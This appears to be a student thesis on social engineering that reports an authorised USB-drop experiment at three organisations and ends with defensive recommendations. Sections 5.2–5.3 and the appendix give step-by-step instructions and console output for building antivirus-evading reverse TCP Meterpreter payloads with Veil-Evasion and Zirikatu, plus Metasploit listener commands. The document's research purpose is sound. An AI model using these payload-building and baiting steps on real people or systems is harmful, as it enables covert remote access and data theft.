**Firewall** - A firewall is a communication gateway that connects two or more networks and has the capability of enforcing a security policy. Security policies modified to suit an intended purpose, as such deny or accepting of connections can be done using a firewall.

**Internet Protocol version 4 (IPv4)** – A communication protocol which is widely used in today's Internet connection. IPv4 address is also used for identification.

**Reverse TCP** - A client computer allows connectivity on an open port by this means. Firewalls do block connectivity on open ports. During reverse TCP connection, the client opens a connectivity port. The basic form of TCP connection starts by the server, giving connectivity permission for the client. However, during this, it is the opposite direction of the connectivity. When a reverse TCP connection takes place, the victim's computer can be controlled remotely. Malware is one of the means of establishing a reverse TCP session [32].

**Malware** – A malware is malicious code. This is a broader term for malicious codes such as viruses, trojans, worms, and keyloggers. They function as the name implies. Malware can seal vital information, cause damage and inject key logging that would send keyboard stroke to the connected attacker.

**Trojan horse** – A Trojan horse is referred to as a Trojan. Trojans are malicious programs, which install itself on the victim’s machine with the help of the user. The user does not see or notice the installation process of the malicious code. The desirable function of the Trojan is to seal information, create backdoors and in some cases run scripts.

**Back Door** - This is a method of gaining unauthorized remote access to a computer by bypassing a typical authentication process. This can happen by downloading programs, running a script or by just opening a malicious file.
Universal Serial Bus (USB) - This is a universal digital connector to a computer system. It is usually used as an external removable storage device.

Antivirus – A program used to detect, remove or prevent malicious code. Malicious codes have a unique signature. The signature aids to identify what type of malicious code it is. If the signature is detectable by the antivirus program, the code becomes a malicious code.

Metasploit – This is a security vulnerability framework, which aids in penetration testing and other security features as IDS signatures. The Metasploit program can execute code on a remote host.

4.5 SOCIAL ENGINEERING (SE)

Social Engineering is by manipulating a victim through social contact. Implementation of advanced technological security has hardened the methods of using older attacking vectors to explore system vulnerabilities.

Secured systems do not prevent attackers from testing vulnerabilities that might exist. Newer attacks deploy, and one of these are manipulating the weakest link in an information security chain. Social Engineering attack is to explore human psychology and technological weaknesses within information security. Social Engineering is both science, an art and a psychological manipulation. Social Engineering combines psychology, science, and technology manipulation that makes people give information they find useless or less valuable. It is, however, vital to the attacker. It sounds very theoretically complicated but practically straightforward. This act aims to make people perform actions that could give confidential information to the attacker without their knowledge.

Below are a few quotes from writers about what Social Engineering is.

- “Social Engineering is lying; it just sounds better than saying you are a liar” [34].

- “Pretending to be something you are not, with the goal of tricking someone into giving you information they usually should not give, and that you should not have access to. In short, Social Engineering is lying. It just sounds better than saying you are a liar” [34].

- “Any act that influences a person to take an action that may or may not be in their best interest” [35].

- “Social Engineering is using deception, manipulation, and influence to convince a human who has access to a computer system to do something, like click on an attachment in an e-mail” [23].

- SE is the fancy term for tricking you into giving away your digital secrets, is at least as great a threat as spooky technology [36].

Why is SE successful? Humans are interactive beings, and through psychological manipulation, we perform actions that become inappropriate to norms and regulations [33].

"As we navigate our lives, we typically guide ourselves by impressions and feelings, and the confidence we have in our intuitive beliefs, and preference is usually justified" [37]. The original core that makes Social Engineering successful is that we cannot end its traits from our everyday activity.
Because humans are interactive beings, we communicate, being either the sender or the receiver of a conversation or even as a communication medium. Social Engineering convinces a victim of whatever presented to them. The information that the victim gives could seem irrelevant to the victim.

The chance of succeeding depends on how well the message or the act seems authentic to the victim. We can argue about security and its functionality but having unbalanced secured system exposes both the system and the user to serials of attacks. This is what Social Engineering does, manipulating end-users to gain access or essential information.

4.6 ATTACKING PHRASE, DIRECT AND INDIRECT ATTACKS

Taking advantage of the weakest link in a security chain has always been hacker priority. Social Engineering attacks come direct or indirect depending on the type of attack. During this part, types of attacks are categorized under direct and indirect attacks. See Figure 2 for the graphical presentation.

4.6.1 IMPERSONATION

Presenting one's self, as an authorized person is an efficient way of making people perform requested duties. The instructions given to someone by an authorized person could be difficult to refuse, even if the orders seem harmful. Individuals do incline to authority because they oblige to authority.

An experiment that proves this is the Stanley Milgram experiment (Obedience to Authority) a perfect example of how far a person could go when ordered by an authorized person. Some of the examples of impersonation are pretending to be an IT consultant, a police officer, etc.
4.6.2 VISHING

This is a method of gaining information over a telephone conversation. Voice phishing use Social Engineering to obtain valuable information.

Vishing is hard to prevent. As an example, people telephone numbers are relatively easy to get. The basic measure in protecting against vishing is curiosity. Telephone conversations from strange people asking one to perform actions such as giving out credit card information and bank account, personal address, installing software on your computer, etc. should alert people of a Vishing act.

4.6.3 TAILGATING

During this attacking vector, an attacker who wants access to a secured environment may wait for an authorized person to offer a free passage. During tailgating, the attacker might pretend to have forgotten his or her identification process and might follow someone with legitimate identification to enter the secured environment. An Example could be opening an entrance door to someone who seemed to have forgotten his or her keys to enter the protected area. By this means, an attacker does not need to have any legitimate document to access to a restricted region [35].

4.6.4 BAITING

Baiting is a Social Engineering act that uses physical media to trigger curiosity, anxiety or any psychological manipulation behavior of a victim. In this attack, the attacker leaves behind a device visible to the victim with a malicious program or code. If a victim explored the media, the attacker gains access to valuable information. There are many kinds of baiting, such as downloading freely an expensive program which has a hidden malware but unknown to the person who downloaded it. Examples of media that could be used to start a baiting attack are USB, CD, and Diskette [8] [10] [38].

4.6.5 PHISHING

Phishing is an act of sending fraudulently random messages to unknown individuals, who might become a victim and elicits essential information. To be able to deceive the victim into indulging in this act, using a trustworthy organization is a perfect bait to deceive people. An example of this attack could be that a victim receives a random e-mail from an attacker imposing as an honest organization such as a bank or insurance company, which the victim could be a member.

The attacker does not know whether the victim is a member of the organization but hopes to find a victim from the sent e-mail. The e-mail sent by the attacker could contain hyperlinks that direct the victim to an intended website, which seems identical to the imposed organization. If the victim does not find that the visited web page is not the legitimate web page, the attacker captures the victim’s details without the knowledge of the victim [26] [38].
In figure 3 is an example of an e-mail from a fake Spotify company, offering a Premium for just nine Swedish kronor. The owner of the email address does not have any Spotify account. The email is one example of a random phishing emails that if the email receiver is a legitimate member gives a sense of security, triggering action by clicking links included in the email. People become victims performing such an act.

![Figure 3. A Phishing example](image)

### 4.6.6 SPEAR PHISHING

There are similarities between spear phishing and phishing. Nevertheless, during spear phishing, the attack is specific rather than a random email attack. The attacker aims to send a highly customized email, which intends to trick the victim into giving out essential information.

The difference is, in spear phishing, the target is studied and evaluated but under phishing, a target is a random person that could yield to a victim as in phishing. Identifying the victim can take months, even years to guarantee a higher success rate [26]. The success rate of spear-phishing attacks is considerable higher than phishing attacks [38].

### 4.6.7 DUMPSTER DIVING

Dumpster diving is a non-technical Social Engineering technique used to retrieve information. Dumpster diving is an act of searching trashcans for vital information.
Different organizations have distinctive ways of managing their trashcans. Companies’ trashcans could contain printed papers, used document, and information that are not relevant now but was necessary before trashing them and could aid in gaining relevant information about the organization. This technique makes it possible to recover data such as old passwords, printer information, etc. [35] [38].
5.0 EXPERIMENT OUTLINE

This phase is a systematic overview of processes during this project. Thirteen (13) USB drives used during this experiment and two different malicious codes.

There are three different organizations during this experiment. Organizations labeled as organization1, organization2, and organization3.

This project is a continuation of an earlier project [26]. During that project, the experimenters asked the employees of the organizations to insert a given USB drive, which contained two PDF files. Individuals were to click on the PDF files to update the in-use systems. The result obtained shows how mischievous participants were about Social Engineering. Further detail of the experiment is in the appendix chapter. (This experiment was during organization1).

The experiment has the following outlines. The USB drive used will be labeled as salary documents, films, vacation pictures, naked pictures, etc. and some of the USB drives will be without labels.

I am going to present the outcome of the project [26] to organization1 and educate them on how the result from the project could damage the company profile. The presentation will be about Social Engineering. A detailed explanation of their actions during the earlier experiment will be discussed with them. The name of the organization will be disclosed in the appendix chapter.

I will place USB drives around organization2 and organization3. Deliberately putting USB drives is a Social Engineering act technique. The USB drives contain a payload, generated with Veil-evasion in Kali Linux and another payload created with Zirikatu software [27] [28].

A repetition of the experiment will be conducted within organization1. USB drives containing malicious payload will be dropped around the organization.

I will interview persons responsible for IT policy within the three organizations about IT policy concerning Social Engineering.

![Figure 4. USB drives used during the experiment](image-url)
5.1 PRACTICAL OUTLINE

I will go to organization1 and present the result of the earlier experiment [26]. I will explain the effect and give examples of Social Engineering and its consequences within the organization.

I will create a reverse TCP payload with Veil-evasion and Zirikatu program with a general name. The payload would be duplicated with different names.

The created payload will be tested with different anti-virus programs. To be able to find where the payload could bypass anti-virus programs, the testing will show the possible result. I will check the payload against an online anti-virus signature database. The database contains signatures that indicate what types of malicious codes are virus.

Both Veil-evasion and Zirikatu program request that the code should not scan with online malware programs because they distribute new virus signatures to the anti-virus company. There is no guarantee that the online site has an anti-virus that is up to update. This makes it impossible to know how many antivirus that could detect the generated payload. That is an up-to-date anti-virus program, thereby, testing the created payload with another online anti-virus scanner, which has up-to-date anti-virus signatures [39].

The created payload will be transferred to the USB drives, using a regular copy and paste keyboard combination (Ctrl + c for copying and ctrl + v for pasting). A sample of the created payload will be tested on a local network to test the functionality of the payload. The test will be conducted in a virtual environment, Windows 7 and windows ten operating systems.

The USB drives will be dropped first at organization2 and organization3. Later, the same experiment will be repeated during organization1. The USB drives will be dropped around packing lodges and the entry of the organizations.

If a user plugs-in the found USB drive, I will record the time, system information and IP address of the victim through the meterpreter console.

I will interview the responsible persons about information security policies covering Social Engineering in all three organizations.

5.2 EXPERIMENT PAYLOAD

Veil-Evasion payload creation

After starting the Veil-Evasion framework, the number of the available payload is under the menu bar and commands that are available.

- Firstly, type list. This will show the available payloads.
- Secondly, the lists of available payloads are numbered. Choose a number to use the wanted payload. Number 35 is used during this experiment. The chosen payload is a python/shellcode_inject/aes_encrypt (35).
- Thirdly, set the expiring day according to the agreed certification to 3 days and pyherion encrypter to Yes. This could be achieved by typing set EXPIRE_PAYLOAD 3, set USE_PYHERION to Y (This means Yes).
- Fourthly, to generate the payload, type the command "generates" and then click enters. Chose the default program to create the shellcode by typing 1.
- Fifthly, press "enter" to continue.
- Sixthly, type the local IP address. For scenario outside the local network, an external IP address would be needed. Press the enter key after typing in the IP address, then type the port number that used as a listening port. I chose port 3333. Click enter, then press the enter key again, and generating the code will start.
- Seventhly, type the chosen name for the payload. By clicking enter, a default name for the created payload will be named as payload. Then choose list 1 to create the executable code. 1 is for Pyinstaller.
- Eighth, the payload will be transferred to the USB drive for the experiment.

**Zirikatu Payload Creation**

After starting the Zirikatu framework, the number of available payloads is seven (7).

- Firstly, chose the payload number by typing 1. This is a Meterpreter_Reverse_tcp.
- Secondly, set the LHOST, the local IP address and the LPORT; the local port number. Then hit enter, this will prompt for payload icon change. Type y for yes.
- Thirdly, to display an error message choose n for No.
- Fourthly, Enter the output name for the payload. Then click enter, this will start the generating process.
- Fifthly, copy the payload to the USB drive.

To create a listener for the payload, type y to start Metasploit framework.

**5.3 METASPLoit CONNECTIVITY**

Metasploit framework connectivity for Veil-Evasion payload.

A specific port listening is needed to have connectivity for the created payload. The payload listener would be done Metasploit framework.

Start Metasploit framework by typing msfconsole in the terminal and then press the enter key.

Type use exploits/multi/handler. Then type set PAYLOAD windows/meterpreter/reverse_tcp.

Type set LHOST. This local host is the same address in the sixth step under the experiment payload creation.
Type LPORT to the same port address used for the payload creation.

Type exploit, to start the listening process.

5.4 TEST FROM PRACTICAL OUTLINE

A practical test was carried out with Microsoft Windows 10, and seven operating systems. The windows ten virtual machine had pre-installed anti-virus from Microsoft. The pre-installed anti-virus did not detect the payload as malicious code.

The Windows 7 virtual machine had an anti-virus program that did not detect the payload, thereby granting remote access by exploring the malicious payload.

5.3 OUTLINED DETAILS

A real scenario is different from the testing stage. During the testing scenario, the payload testing happened within a local network, but the experiment is outside the local system. This request for more network parameters to make data documentation possible. The experimenter set a temporary routing rule to allow connectivity between victim and experimenter over a specific port.

The outcome (result) relies on the payload. The payload must go undetected by the anti-virus program. The two programs used were detectable by different anti-virus programs. The reason behind using two separate programs was to minimize the detection rate of anti-virus programs. This is because each malicious code had a different discovering rate from the online signature database. The created payload was scanned with anti-virus programs. This gives statistics about how many anti-viruses could detect the malicious code.

Testing the payload showed that, one payload program had a higher detection rate. The higher rate of detection by anti-virus programs affected the choice of malicious code. Payload created using Veil-evasion had a higher discovering rate than Zirikatu payload. Twenty-eight (28) anti-virus programs detected the Veil-evasion payload and twelve anti-virus programs detected the Zirikatu payload. The figures are represented below.
A successful result from this experiment depended on how successful the malicious payloads were. Because of this, the payload with higher detection rate by the online anti-virus database was omitted from the USB drive. The antivirus programs that detected the Zirikatu payload also recognized the Vail-evasion payload, and the Zirikatu payload had a lower detecting rate. Because of this, the Zirikatu payload stands a better chance of succeeding. Due to this, the experimenter chose to use the payload generated by Zirikatu on all used USB drives.
6.0 RESULT

This chapter represents the results acquired by performing this experiment in all three organizations. Graphical illustrations show the obtained results from this experiment. Explanations to these illustrations are also included in this chapter.

Due to ethical reasons, both IP addresses as an experimenter and IP addresses of performed organizations are not visible. For further verification, the IP addresses will be given to authenticate the results.

6.1 PROBLEMATIC RESULT

Due to misconfiguration of the payload, the first five USB drives were unsuccessful. The first experiment in organization2 and organization3 did not yield any result due to incorrect configuration. The data collection was not successful because the payload had wrong IP address *.6.37.110 as *.6.110. One wrongly configured USB drive found by the experimenter.

The experimenter added four (4) extra new USB drives to continue the experiment, two USB drives each for every organization.
The exploitation of individuals through Social Engineering gave a tangible result that supports the project’s aim.

The result in Figure 8 is a result of two different organizations. The result shows the uses of the found USB drives. All the two (2) USB drives were explored under “organization1,” and one (1) USB from two (2) USB drives explored under organization2. From the graphical result, the meterpreter session shows connectivity of the victim’s system to the experimenter. An automatically connectivity is generated when a victim explores the malicious payload.

Two active sessions out of three could be interacted by the experimenter. By interacting with these active sessions, the experimenter could document the permitted information based on the signed agreement.

The third session closed before the experimenter could document the needed information. Even so, the connectivity information shows that the user explored the content on the USB drive.

Because of the ethical reasons and the agreement between the experimenter and the organizations during this experiment, not all-available information could be documented. The following is the information recorded.
From Figure 9, only session 1 and session 2 were active, thereby making documentation of information possible. The illustration shows the local address, the port of connection and the public IP addresses for the active sessions.

To be able to document systems information, each session interacts separately. The result from the interactive session 2 shows the operating system in use, the number of logged on users, the type of architecture the device is running and the language. Documentation of usernames was also made. Figure 10 shows the result from the command used.

The documentation of session 2 is a replicate of session 1. The privileged information was only documentation of system information and login user. Figure 10 visualizes the outcome of both sessions. The system’s information is identical. Both computers had Windows 10 operating systems.
To prevent the persistent connection, the experimenter agreed to close all sessions after successful documentation of active sessions. Closing a session terminates the connectivity between the victim and the experimenter. This prevents the experimenter from having continuous access to the victimized computer. This because if a session is a persistent session, even though the victim shut down the computer system, the attacker still has access to the machine when the machine is switched on.

The collection of data after working hours was not permitted according to the agreement. Therefore, all active sessions were manually before 16:30 pm. The figure below shows the closing of live active sessions after documentation of agreed information.

![Figure 11. Closing active sessions](image)

### 6.2 USB DRIVES SUMMARIZATION

The number of USB drives used during this experiment summed up to thirteen (13). Due to the failure of the first placement, some of the USB drives did not amount in any result. Only one (1) out of thirteen (13) USB drives retrieved successfully after the experiment. No one picked the USB drive. The table below shows the summarization of all used USB drives.

<table>
<thead>
<tr>
<th>The total number of USB drives used</th>
<th>Retrieved USB drives</th>
<th>Non-retrieved USB drives</th>
<th>Successful Sessions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Six USB drives (6). Failed experiment</td>
<td>One retrieved USB drive (1)</td>
<td>Five (5) USB drives</td>
<td>None</td>
</tr>
<tr>
<td>Six USB drives (6). Successful experiment</td>
<td>One USB drive retrieved (1)</td>
<td>Five (5) USB drives</td>
<td>Three USB drive</td>
</tr>
<tr>
<td>Total = 12 + 1 unused = 13</td>
<td>Total = 2</td>
<td>Total = 10</td>
<td>Total = 3</td>
</tr>
</tbody>
</table>

*Table 1: Graphical summarization of USB drives*
This chapter covers result analyses, a reflection of the project's method and the contrast between this experiment and other experimental results. Before moving unto the discussions, reviewing the warranty of the obtained results during this project explains why the project thesis is essential.

This project aims at a real cyber-attack scenario; a Social Engineering attacked scene. This attacked scenario is to help outline whether employees from organizations do indulge in picking up found USB drives and exploring its contents. The device used during this project was successful based on the actions of people. The activation of the malicious code only occurs when a victim explores the found USB drives. Pointing to the fact that, people used found USB drives. Getting remote access to the victim’s computer indicates the exploitation of the malicious code.

Although, one of the goals of the project was to determine whether individuals pick up unknown USB drives and use them. In this case, a person must use a found USB drive. There is no evidence to prove that people picked the USB drives and used them if there is not a positive result. So with this, all USB missing drives were considered as failed attempts.

The primary aim of the experiment was to test peoples' negligence in plugging in unknown USB drive they find and the effectiveness of using USB drives as an attacking vector at an organization's level. The resulted outcome portrayed a human behavior that is hard to predict but devastating during information security. This experiment produced a positive result, as individuals did use found USB drives. The success of this experiment highlights how little people know about Social Engineering. The three organizations had different security levels. Organization1 employees had a bit knowledge about Social Engineering through previous education performed. The actions of the victims testify the awareness of these organizations when it comes to Social Engineering act. People are as an essential aspect of any well-built information security system. The more significant chance of influencing end-users explains the overall awareness of human security.

Manipulating users into providing vital access to secured systems through Social Engineering is an effective method. Less than 50 Swedish kronor could give you total control over sensitive infrastructure with little technical skills. More than half of the used USB drives produced a positive result. This proves that security is something that society and organizations are overlooking. From the performed research, collaborating with Google [5] provided 45% successful rate. We might have different perspectives about security issues imposed by performing this act, but companies and people must worry if this is happening without any security measures. The idea is not to prove how many individuals that showed such an action, but the theory that people do use unknown USB drives they find.

The duplication of the payload on the USB was to increase the chance of exploration from victims. Clicking different payload on the found USB does not generate extra connectivity. This minimizes duplication of a result from a victim. To create duplicate data documentation, the victim must explore the found USB drive on a different computer. By performing this action, there are possibilities of having different connectivity from one USB drive.

The result of the experiment proves that there are not duplications of the outcome. Repetition will have shown how weak the human chain is concerning security if one tries to perform multiple dangerous acts from different computers. Because users could not detect the malicious payload on the USB drive, it was still a possibility that the USB drive would be explored more than once.
Preventive measures imposed by antivirus programs could give false security. Antivirus programs' functionality is to prevent proper functionality of a malware program. The malicious payload was detectable by some anti-virus. There is always the possibility an anti-virus program quarantines a malicious code. This project weight is about the actions of individuals plugging in unknown USB drives. However, antivirus programs could decrease the result from the experiment. Individuals who have an antivirus program capable of preventing the malicious payload, limited documentation of connectivity and data, which would prove that, people do indulge in such actions. Even with possibilities of false negatives, USB drives that did not result in any connectivity documentation cannot be generalized as a successful result, because the actions on the victim could only be measured through reverse TCP connection created by exploring the contents of the found USB drives.

Using an unknown USB drive is a trait of human character. Self-control is a trait that comes with experiences. We gain self-control over things we know, things that we have done before or even negative experiences. Deciding what is decent from bad is human behavior. Some people find it difficult to judge which things are good from awful. This experiment also tests self-control, about whether one could restrain oneself from picking up unknown USB drives. Not everyone tends to restrain. Walter has proved this during the test Self-control experiment [9]. If people lack self-restraint, it could be a means of exploring humans into doing server things. Moreover, performing these severe actions due to lack of self-control could aid in an attacking phrase, which could have been devastating results on secured systems.

The labeling of the USB drives was intentionally done during this project. Some of the explanations from victims exploring USB drive during other performed experiments was to find the owner of the devices [4]. There was a higher rate of exploration of labeled drives. Individuals might explore the content, having in mind to find documents that might show the ownership of the found USB drive. By presenting, a bait that can trigger people into doing this act is hard to control. Both experiments [9] [10] explain the need for self-control and its importance. To watch the actions during the experiment could have portrayed more about how individuals reacted when they found the USB drive, and which labeled USB drive drew more attention. However, the result already proves that there is lack of self-control and restraint among people inserting unknown USB drives they find.

Interviewing method was one of the ways to show how security is in these organizations. From the conducted interview, only one organization had an information security policy. The result of the interview shows how different organizations see the need for security awareness and routine. A well-documented security policy could help integrate information security concepts into groups and even individuals. The knowledge of people during this experiment cannot be warranted. Employees were not interviewed to find out how they understand security.

They would probably have explained why they do such an act. One of the reasons why people indulge in such an action could be that many organizations lack security policies that create better information security awareness.

The use of free anti-virus programs is not a bad idea, one of the answers from the performed interview. Each of the organizations had an anti-virus program installed. Nevertheless, a free version of a security application is not like a fully paid anti-virus.

Two of the companies in this experiment did not have an IT manager. The cost involved with an IT manager was one of the factors. Incidence response could help retrieve much information when a data breach occurs. Not having an IT manager responsible for such tasks could give attackers a free run.
External devices are threats to secured systems. The use of unknown external devices such as USB drives can expose secured systems. Disabling auto-run for USB devices is one of the measures, but it does not eliminate other USB drive attacks. The act of plugging in an unknown device is enough to show how dangerous this act is. Individuals did explore found USB drives by clicking on the USB drive’s content, but there are still possibilities of infection without examining the content of the drives. An example is a Rubber Ducky attack. Rubber Ducky can perform more actions at higher-speed [40]. A Rubber Ducky USB drive acts like a keyboard thereby bypassing antivirus scans.

The result of this experiment shows that there is a tendency of human vulnerability in information security. The outcome proves that human beings are still the weakest link in the information security chain. Employees in other organizations could perform a similar action during similar experiments. This means security is an essential aspect of an organization. Security cannot rely only on secured systems. If the system users are more vulnerable to attack than the implemented systems, the secured system as is weak as its most reliable link. This makes the systems more vulnerable than the intended functionality.

Understanding system users and the need for information security will make secure systems better and increase end users’ awareness. Strategic implementation of incident responses and solutions about end-user attacks must be one of the priorities of any organizations.

### 7.1 BASIC PREVENTIVE MEASURES

As naïve it may sound, some organizations think that they are immune to Social Engineering threats. On the contrary, there is no organization or human that is resistant to Social Engineering acts. The following are some of the primary measures to help mitigate Social Engineering acts.

**Learn to Discern Social Engineering**

The first step in mitigating Social Engineering is by understanding what Social Engineering is. To learn what Social Engineering is, one must learn how to detect whether an attack is part of a Social Engineering plot or not.

One does not need a perfect practicing scenario to mitigate a Social Engineering attack. Even so, education training could help individuals understand that a fundamental action such as clicking on a malicious link could affect implemented systems.

Education through training could give individuals the ability to notice some Social Engineering attacks. For example, Mr. Philips is a firefighter, and he loves his family. Mr. Philips does not have to wait for a fire outbreak before he teaches his family that, when your clothes catch fire, you must "stop," "lay" and "roll" to prevent being over flamed by the fire. Organizations should do the same, by teaching and educating employees about information security attacks.
Staff Awareness and Education

Raising staff awareness is one of the most efficient means of combating Social Engineering attacks. Creating a security-awareness mind that makes everyone feel important is one of the keys to creating awareness. Raising awareness comes from making individuals interested in what you want to give them. Organizations can provide free courses and security seminars to staffs. Through this, a basic level of security awareness increases, and this could affect the security level of the team of the organization. Flash cards could be an educating medium. Security messages can be posted on walls, smoking area, printing rooms, etcetera, that remind and update individuals about what they already know.

Incident Response Strategy

Preventive measures to information security attacks are not that simple. A solution for computer-related attacks is not easy. A better approach has well-defined steps that tackle sections of the complex problem. The concept of incident response is one of these solutions. The use of incident response strategy is to help resolve any unlawful or unauthorized actions that involve a computer system [41].

![Incident Response Strategy Diagram]

Buying Security and Updating Older Software

In most cases, organizations send information to clients through different mediums of communication. Many companies cannot afford to hire IT, managers. One of the ways into mitigating Social Engineering is buying security through an external organization. Purchasing safety might be in the form of foreign expert or insurance that covers the damages that could result from a Social Engineering act.
Security Policies and Real-Time Experiments

An information security policy helps guide users to perform actions that are proper and acceptable. Organizations should add well-documented procedures, which are clear and easy to understand. Policies draw the attention of the user when individuals understand it. These policies should integrate users in security rules and exercises. Based on the set procedures, a continuous test could help users understand these rules. A phishing mail created by the IT manager could be an example to test users understanding about Social Engineering and its counter-measures.
8.0 CONCLUSION

We are not immune to psychological manipulation neither will we be to Social Engineering if awareness is not created. Assets are valuable resources. The value of every asset will dictate what type of protection it needs. People in an organization is the most valuable asset.

This experiment illustrated that people perform actions that could jeopardize organizations' infrastructure. This result proves the fact that, the human link is still the weakest link in information security chain, and that people do indulge in social behavior such as picking up and using unknown USB drives. This experiment is a proof that people do pick hidden USB drives they find and use them without thinking of the consequences.

In this modern era, protection of information is significant. Information security is evolving, but one weaker link is end-user security. This security is usually tested through social manipulations. Social Engineering is an intertwined concept of computer science and social psychology attacks. Knowledge of these fields is essential to understand fully what Social Engineering is. These techniques are mainly performed on human beings and therefore, requires an ethical aspect if any researcher should consider any experiment related to Social Engineering.

The experiment shows that people explore found USB drives. During this project, the experimenter highlighted how and why end-users remains the weakest link in the information security chain. The attacking scenario of this experiment is a real Social Engineering scenario. This experiment took place in three different organizations. The result from these organizations shows how easy it is to manipulate users into granting the attacker access to secured systems. Through unknowledgeable actions of employees, organizations' infrastructures are far from secure. This is not only a financial loss but also a pathway to gain more assets or even worse spy and steal information.

The result of this project is clear evidence that should remind us that, even though information security awareness and technology are improving, the society we live in is still vulnerable to technical attacks. These attacks could expose systems information to an unauthorized person. To be able to correct these threats imposed by Social Engineering, understanding in what Social Engineering is, some of it attacking vectors, human errors and human psychology is essential. Introductions of some effective awareness programs could improve peoples' interest in information security. By this, people will know different attacks and security issues, which could minimize end users' attacks.

8.1 FUTURE EXPERIMENT

There are many conducted Social Engineering Experiments. Every experiment has a distinct aim, although the aim point is to test human weakness within information security. There is a possibility to continue this experiment in with a different goal.

This experiment shows there can be a need to further study within Social Engineering attacks. Future research within Social Engineering can take this experiment a step forward to help improve Social Engineering awareness. An experiment to educate and create awareness from a real-world experiment and later testing how individuals react to a similar attack.
Individuals can be trained under an organization and be tested under a private environment. It could show if individuals apply their knowledge to a different environment.

This type of experiment could make a vital difference in combating Social Engineering attacks in the future. Education helps improves awareness even though it is hard to demolish Social Engineering attacks against human beings.
9.0 APPENDIX

Figure 13. Experimental agreement from Organisation 1

Figure 14. Experimental agreement from Organisation 2
9.1 PAYLOAD ILLUSTRATION

For ethical reasons, I am not going to show how to install the programs used to create the malicious code. This phase is an outline of how to create the payload.

9.2 VEIL-EVASION GRAPHICAL ILLUSTRATION

![Figure 16. Veil-Evasion payload list](image)

The screenshot shows the Veil-Evasion payload list, with 51 payloads loaded. The available commands include:

- `use` to use a specific payload
- `info` to get information on a specific payload
- `list` to list available payloads
- `update` to update Veil-Evasion to the latest version
- `clean` to clean out payload folders
- `checkvt` to check payload hashes vs. VirusTotal
- `exit` to exit Veil-Evasion
Figure 17. Veil-Evasion payload creation (step 2 to 4)

Use msfvenom or supply custom shellcode?

1 - msfvenom (default)
2 - custom shellcode string
3 - file with shellcode (raw)

[>] Please enter the number of your choice: 1

[*] Press [enter] for windows/meterpreter/reverse_tcp
[*] Press [tab] to list available payloads
[>] Please enter metasploit payload:
[>] Enter value for 'LHOST', [tab] for local IP: 192.178.23.23
[>] Enter value for 'LPORT': 3333
[>] Enter any extra msfVenom options (syntax: OPTION1=value1 or -OPTION2=value2)

[*] Generating shellcode...

Figure 18. Veil-Evasion payload creation (step 5 and 6)

[>] Please enter the base name for output files (default is 'payload'):

[?] How would you like to create your payload executable?

1 - Pyinstaller (default)
2 - Pwnstaller (obfuscated Pyinstaller loader)
3 - Py2Exe

[>] Please enter the number of your choice: 1

Figure 19. Veil-Evasion payload creation (step 7)
[*] Executable written to: /usr/share/veil-output/compiled/payload1.exe

Language: python
Payload: python/shellcode_inject/aes_encrypt
Shellcode: windows/meterpreter/reverse_tcp
Options: LHOST=192.178.23.23  LPORT=3333
Required Options: COMPILE_TO_EXE=Y  EXPIRE_PAYLOAD=3
INJECT_METHOD=Virtual  USE_PYHERION=Y
Payload File: /usr/share/veil-output/source/payload1.py
Handler File: /usr/share/veil-output/handlers/payload1_handler.rc

[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)

[>] Press any key to return to the main menu.

Figure 20. Veil-Evasion payload creation (step 8)

root@root:~# msfconsole
[*] Starting the Metasploit Framework console...

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.178.23.23
LHOST => 192.178.23.23
msf exploit(handler) > set LPORT 3333
LPORT => 3333
msf exploit(handler) > exploit

[+] Handler failed to bind to 192.178.23.23:3333: - -
[*] Started reverse TCP handler on 0.0.0.0:3333
[*] Starting the payload handler...

Figure 21. Metasploit framework

Figure 22. Creating handler and listening port
9.3 ZIRIKATU GRAPHICAL ILLUSTRATION

Figure 23. Zirikuta payload creation (step 1 to 2)

```plaintext
Payload file = /root/zirikatu/output/n.exe
Payload size = 138549 Bytes

LHOST=192.177.11.9
LPORT=1122

Do you start the payload handler? y or n: y
[ ok ] Starting postgresql (via systemctl): postgresql.service.
```

Figure 24. Zirikuta payload creation (step 3 to 4)

```plaintext
[*] Processing /root/zirikatu/handler/handler.rc for ERB directives.
resource (/root/zirikatu/handler/handler.rc) > use exploit/multi/handler
resource (/root/zirikatu/handler/handler.rc) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/zirikatu/handler/handler.rc) > set LHOST 192.177.11.9
LHOST => 192.177.11.9
resource (/root/zirikatu/handler/handler.rc) > set LPORT 1122
LPORT => 1122
resource (/root/zirikatu/handler/handler.rc) > set EXITONSESSION false
EXITONSESSION => false
resource (/root/zirikatu/handler/handler.rc) > exploit -j
[*] Exploit running as background job.
[>] Handler failed to bind to 192.177.11.9:1122:-
[>] Started reverse TCP handler on 0.0.0.0:1122
```

Figure 25. Zirikuta payload creation (step 5)
This project aimed to test how knowledgeable organizations are about Social Engineering. The practical experiment was to examine how authority could affect people into performing actions without questioning, even if it poses a threat to system infrastructure. The experimenter presented himself as an IT consult. By using Social Engineering to persuade organization employees to update their computer through a PDF file on a USB drive was the experiment's theory.

The general motive was to prove that Social Engineering is one of the factors, which jeopardizes organization's infrastructures, and people do to comply with authority and easily manipulated through Social Engineering act.
10.0 REFERENCE


46